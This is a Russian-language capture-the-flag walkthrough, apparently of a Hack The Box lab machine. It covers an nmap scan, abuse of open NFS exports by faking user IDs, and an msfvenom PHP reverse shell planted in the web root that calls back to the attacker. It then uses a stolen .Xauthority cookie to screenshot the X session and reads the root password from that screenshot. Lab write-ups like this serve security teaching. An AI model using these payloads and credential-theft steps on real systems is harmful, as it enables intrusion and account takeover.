Обзор сервисов
Начнем с обзора сервисов, крутящихся на машине, которая имеет IP-адрес 10.10.11.191
.
$ nmap -sV -sC -Pn -p1-65535 -oN 10.10.11.191 10.10.11.191
Starting Nmap 7.94 ( <https://nmap.org> ) at 2023-06-21 06:10 EDT
Nmap scan report for 10.10.11.191
Host is up (0.056s latency).
Not shown: 65527 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Built Better
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 34466/udp mountd
| 100005 1,2,3 38577/tcp mountd
| 100005 1,2,3 44169/udp6 mountd
| 100005 1,2,3 52511/tcp6 mountd
| 100021 1,3,4 33269/udp nlockmgr
| 100021 1,3,4 34403/tcp nlockmgr
| 100021 1,3,4 35354/udp6 nlockmgr
| 100021 1,3,4 37711/tcp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs 3-4 (RPC #100003)
34403/tcp open nlockmgr 1-4 (RPC #100021)
38577/tcp open mountd 1-3 (RPC #100005)
44123/tcp open mountd 1-3 (RPC #100005)
60893/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 55.39 seconds
Открыты SSH (22), HTTP (80) и NFS (111).
Вебка
Посмотрим, что содержит веб-интерфейс.
Ничего интересного.
NFS
Проверим NFS-шары. Выясняется, что их можно примонтировать:
$ showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross *
/var/www/html *
$ mkdir -p ross html
$ sudo mount -t nfs 10.10.11.191:/var/www/html html -o nolock
$ sudo mount -t nfs 10.10.11.191:/home/ross ross -o nolock
Проверим, какой пользователь нужен:
$ ls -lan
total 24
drwxr-xr-x 5 1000 1000 4096 Jun 21 08:27 .
drwxr-xr-x 5 1000 1000 4096 Jun 21 06:09 ..
drwxr-xr-- 5 2017 33 4096 Jun 21 08:25 html
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 ross
Чтобы ходить по каталогам, нужны пользователь с UID 1001 и GID 1001 для каталога ross, а для каталога html пользователь с UID 2017 и GID 33.
Эти каталоги мы пройдем двумя путями.
Создадим пользователя с UID 2017 и GID 33:
sudo useradd squashed-www -u 2017 -g 33 -m -s /bin/bash
sudo -u squashed-www /bin/bash
Обнаруживается, что мы можем записывать в этот каталог свои файлы. Загрузим реверс шелл:
$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.159 LPORT=80 -f raw -o shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1111 bytes
Saved as: shell.php
$ nano shell.php
## тут нужно удалить комментарий в первом символе
$ cp shell.php html/shell.php
$ msfconsole
msf> use multi/handler
msf> set payload php/meterpreter/reverse_tcp
msf> set LHOST 10.10.14.159
msf> set LPORT 80
msf> run
Перейдем на http://10.10.11.191/shell.php и поймаем шелл:
Пользовательский флаг
Сразу же забираем флаг пользователя:
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:94:e7 brd ff:ff:ff:ff:ff:ff
inet 10.10.11.191/23 brd 10.10.11.255 scope global ens160
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:94e7/64 scope global dynamic mngtmpaddr
valid_lft 86399sec preferred_lft 14399sec
inet6 fe80::250:56ff:feb9:94e7/64 scope link
valid_lft forever preferred_lft forever
$ ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
snap
user.txt
$ cat user.txt
8c342bc59096087e33c55dd5b37d18f8
NFSShell
Вторую часть выполним с помощью утилиты nfsshell. Нам необходим пользователь с UID 1001, GID 1001. При осмотре каталога /home/ross
был найден файл .Xauthority
:
$ /opt/nfsshell/nfsshell
nfs> host 10.10.11.191
nfs> mount /home/ross
nfs> uid 1001
nfs> gid 1001
nfs> ls -l
nfs> ls -l
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 .
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 ..
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 .Xauthority
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 .bash_history
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 .cache
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 .config
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 .gnupg
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 .local
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 .viminfo
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 .xsession-errors
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 .xsession-errors.old
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 Desktop
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 Documents
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 Downloads
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 Music
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 Pictures
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 Public
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 Templates
drwxr-xr-x 14 1001 1001 4096 Jun 21 01:36 Videos
nfs> get .Xauthority
.Xauthority? y
С помощью этого файла мы можем по инструкции снять скриншот экрана с сессии, у которого запущен X-сервер:
$ cat .Xauthority | base64 -w 0
AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABCwgGRnPgbJkM3Rz48fe8U4
## на машине за пользовательскую сессию
$ cd /tmp
$ echo AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABCwgGRnPgbJkM3Rz48fe8U4 | base64 -d > .Xauthority
$ export XAUTHORITY=/tmp/.Xauthority
$ xwd -root -screen -silent -display :0 > screenshot.xwd
meterpreter > download /tmp/screenshot.xwd
[_] Downloading: /tmp/screenshot.xwd -> /home/kali/screenshot.xwd
[_] Downloaded 1.00 MiB of 1.83 MiB (54.52%): /tmp/screenshot.xwd -> /home/kali/screenshot.xwd
[_] Downloaded 1.83 MiB of 1.83 MiB (100.0%): /tmp/screenshot.xwd -> /home/kali/screenshot.xwd
[_] Completed : /tmp/screenshot.xwd -> /home/kali/screenshot.xwd
$ convert screenshot.xwd screenshot-min.png
Получаем креды суперпользователя root:cah$mei7rai9A
.
Флаг суперпользователя
Осталось забрать флаг:
$ su
cah$mei7rai9A
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cd /root
$ ls
Desktop
Documents
Downloads
Music
Pictures
Public
root.txt
scripts
snap
Templates
Videos
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:94:e7 brd ff:ff:ff:ff:ff:ff
inet 10.10.11.191/23 brd 10.10.11.255 scope global ens160
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:94e7/64 scope global dynamic mngtmpaddr
valid_lft 86393sec preferred_lft 14393sec
inet6 fe80::250:56ff:feb9:94e7/64 scope link
valid_lft forever preferred_lft forever
$ cat root.txt
11219f4268df68a5d0c7c330de09f885